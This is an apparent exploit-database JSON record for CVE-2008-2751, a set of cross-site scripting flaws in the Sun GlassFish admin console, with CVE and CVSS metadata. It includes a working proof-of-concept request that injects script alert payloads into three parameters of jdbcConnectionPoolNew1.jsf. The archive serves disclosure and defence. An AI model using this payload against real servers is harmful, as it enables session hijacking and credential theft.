{"exploit":{"id":"EDB-31928","name":"GlassFish Application Server - '/resourceNode/jdbcConnectionPoolNew1.jsf' Multiple Cross-Site Scripting (XSS)","description":"GlassFish Application Server - '/resourceNode/jdbcConnectionPoolNew1.jsf' Multiple Cross-Site Scripting (XSS)","cves":["CVE-2008-2751"],"author":"Eduardo Jorge","published":"2008-06-16","platform":"multiple","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/31928","path":"exploits/multiple/remote/31928.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-31928.txt","vulnerabilities":[{"id":"CVE-2008-2751","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple cross-site scripting (XSS) vulnerabilities in the Glassfish webadmin interface in Sun Java System Application Server 9.1_01 allow remote attackers to inject arbitrary web script or HTML via the (1) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:jndiProp:JndiNew, (2) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:resTypeProp:resType, (3) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:factoryClassProp:factoryClass, or (4) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:descProp:desc parameter to (a) resourceNode/customResourceNew.jsf; the (5) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:jndiProp:JndiNew, (6) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:resTypeProp:resType, (7) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:factoryClassProp:factoryClass, (8) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:jndiLookupProp:jndiLookup, or (9) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:descProp:desc parameter to (b) resourceNode/externalResourceNew.jsf; the (10) propertyForm:propertySheet:propertSectionTextField:jndiProp:Jndi, (11) propertyForm:propertySheet:propertSectionTextField:nameProp:name, or (12) propertyForm:propertySheet:propertSectionTextField:descProp:desc parameter to (c) resourceNode/jmsDestinationNew.jsf; the (13) propertyForm:propertySheet:generalPropertySheet:jndiProp:Jndi or (14) propertyForm:propertySheet:generalPropertySheet:descProp:cd parameter to (d) resourceNode/jmsConnectionNew.jsf; the (15) propertyForm:propertySheet:propertSectionTextField:jndiProp:jnditext or (16) propertyForm:propertySheet:propertSectionTextField:descProp:desc parameter to (e) resourceNode/jdbcResourceNew.jsf; the (17) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:nameProp:name, (18) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:classNameProp:classname, or (19) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:loadOrderProp:loadOrder parameter to (f) applications/lifecycleModulesNew.jsf; or the (20) propertyForm:propertyContentPage:propertySheet:generalPropertySheet:jndiProp:name, (21) propertyForm:propertyContentPage:propertySheet:generalPropertySheet:resTypeProp:resType, or (22) propertyForm:propertyContentPage:propertySheet:generalPropertySheet:dbProp:db parameter to (g) resourceNode/jdbcConnectionPoolNew1.jsf.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2751","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2751"},"updatedAt":"2024-08-07T09:14:14.695Z","retrievedAt":"2026-11-27T09:02:39.908Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-31928.png?v=2","url":"https://exploitbin.com/exploits/EDB-31928","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-31928/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-31928/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2008/https://www.securityfocus.com/bid/29751/info\n\nSun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.\n\nAn attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.\n\n----------------------------------------\n\nhttp://[HOSTNAME]:4848/resourceNode/jdbcConnectionPoolNew1.jsf?propertyForm%3Apr\nopertyContentPage%3AtopButtons%3AnextButton=+Next+&propertyForm%3ApropertyConten\ntPage%3ApropertySheet%3AgeneralPropertySheet%3AjndiProp%3Aname=<script>alert('xs\ns')</script>&propertyForm%3ApropertyContentPage%3ApropertySheet%3AgeneralPropert\nySheet%3AresTypeProp%3AresType=<script>alert('xss2');</script>&propertyForm%3Apr\nopertyContentPage%3ApropertySheet%3AgeneralPropertySheet%3AdbProp%3Adb=<script>a\nlert('xss3');</script>&propertyForm%3AhelpKey=jdbcconnectionpoolnew1.html&proper\ntyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id7%3Aj_id34&com_sun_w\nebui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopBu\nttons%3AnextButton","sha256":"661b238b219df1076c0db90622c6bd957fefe73f1247da8aae3fa86766fcc1ba","bytes":1265,"fetchedAt":"2026-11-27T15:09:01.163Z","encoding":"utf-8 (display only; download retains original bytes)"}